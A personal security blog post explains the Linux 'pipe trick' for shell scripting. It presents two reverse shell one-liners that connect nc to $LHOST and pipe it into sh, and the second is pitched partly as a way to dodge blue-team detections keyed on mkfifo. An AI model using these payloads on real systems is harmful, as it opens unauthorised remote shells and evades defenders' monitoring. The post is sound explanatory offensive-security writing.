joev.dev - thoughts, engineering, art, life
Posts About
written Aug 31 2023

I'm joev, a security engineer 👋 You may know me from my work at Apple or on Metasploit, or from my CVEs.

Nowadays I work on open-source security software. This site is a cryptographic experiment of sorts, and a place to store my photos.

Say hello: @joev@infosec.exchange

Linux shellcraft: the pipe trick

This article covers a useful shell scripting technique on Linux that allows for getting read and write handles to a pipe in a shell process's memory.

If you have ever used a reverse shell command payload on Linux, you probably have noticed they follow a common layout:

mkfifo /tmp/f; nc $LHOST $LPORT </tmp/f | sh >/tmp/f; rm /tmp/f

To summarize:

  1. Create a FIFO pipe.
  2. Run a network transport bin (nc here) that takes input from this FIFO.
  3. Pipe the transport bin's output into a shell process, and push the shell's output back through the FIFO to the transport bin's input.
  4. Once nc and sh terminate, delete the FIFO.

Here I use nc as the network transport, but any bin that can transport stdin over the network will do.

A very useful transport bin is ssh: in modern versions, you also get a reverse SOCKS client "for free". NHAS/reverse_ssh implements a listener for this. If you're in a bash-derivative shell, you can get away with the /dev/tcp "fake" device. If you get crafty enough, you can even make a loop around ping work.

Avoiding mkfifo

The mkfifo here is necessary because we need two channels: nc->sh and sh->nc, but Linux shells only give you a one-way pipe primitive (|). Pipes are not bi-directional on Linux (POSIX allows for but does not require this), so you can't just write to the read end of a pipe.

There are a number of downsides to using mkfifo. It is pretty common for blue teams to build detections for reverse shell command payloads. Because the network transport bin nc is swappable, some detections end up incorporating the mkfifo into the signal. Further, the cleanup step (rm /tmp/f) sometimes fails, leaving behind an errant FIFO file in /tmp. Finally - sometimes there are no writable locations on disk, as in a read-only chroot or container.

So one day I found myself looking for ways to get rid of the mkfifo. I stumbled upon the answer in a stackoverflow post that I have regrettably been unable to find since (if you find it, please let me know so that I can credit the author properly). Once understanding this trick, I realized it was actually incredibly useful for building shell primitives that avoid touching the disk.

The Linux Pipe Trick

So here it is, the Linux Pipe Trick:

{ nc $LHOST $LPORT </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

To summarize what the shell is doing here:

  1. Spawn a subshell (the {}), then pipe (|) its stdout to the NOP command (:), and redirect the subshell's fd#3 to this stdout pipe (3>&1). We will "reuse" this pipe-to-NOP as a second pipe inside the subshell.
  2. Inside the subshell, have the forked subcommand nc take its stdin from /dev/fd/3 (fd#3, the "reused" pipe) and pipe stdout to sh.
  3. Inside the subshell, have the other forked subcommand sh point its stdout to fd#3 (the "reused" pipe) and receive its stdin from nc.

Note that 3>&- just means "close fd#3 for this subcommand", to avoid extra dangling references to the reused pipe on fd#3.

This does not seem like it should work, because in step 2 we are redirecting a WRITE handle to the "reused" pipe to the forked command's stdin, which needs a READ handle.

But it does work, because of a simple Linuxism. If on Linux you have a handle to the WRITE end of a pipe, and then go and open(2) it in READ mode from /dev/fd/N, the kernel helpfully gives you the READ end of the pipe, just like it would do for a FIFO.

This gives us a way to get handles to both the read and write ends of an in-memory pipe(2) structure in Linux. This is pretty useful for building shell programs that need concurrent data structures, and is not true on any other Unix I know of.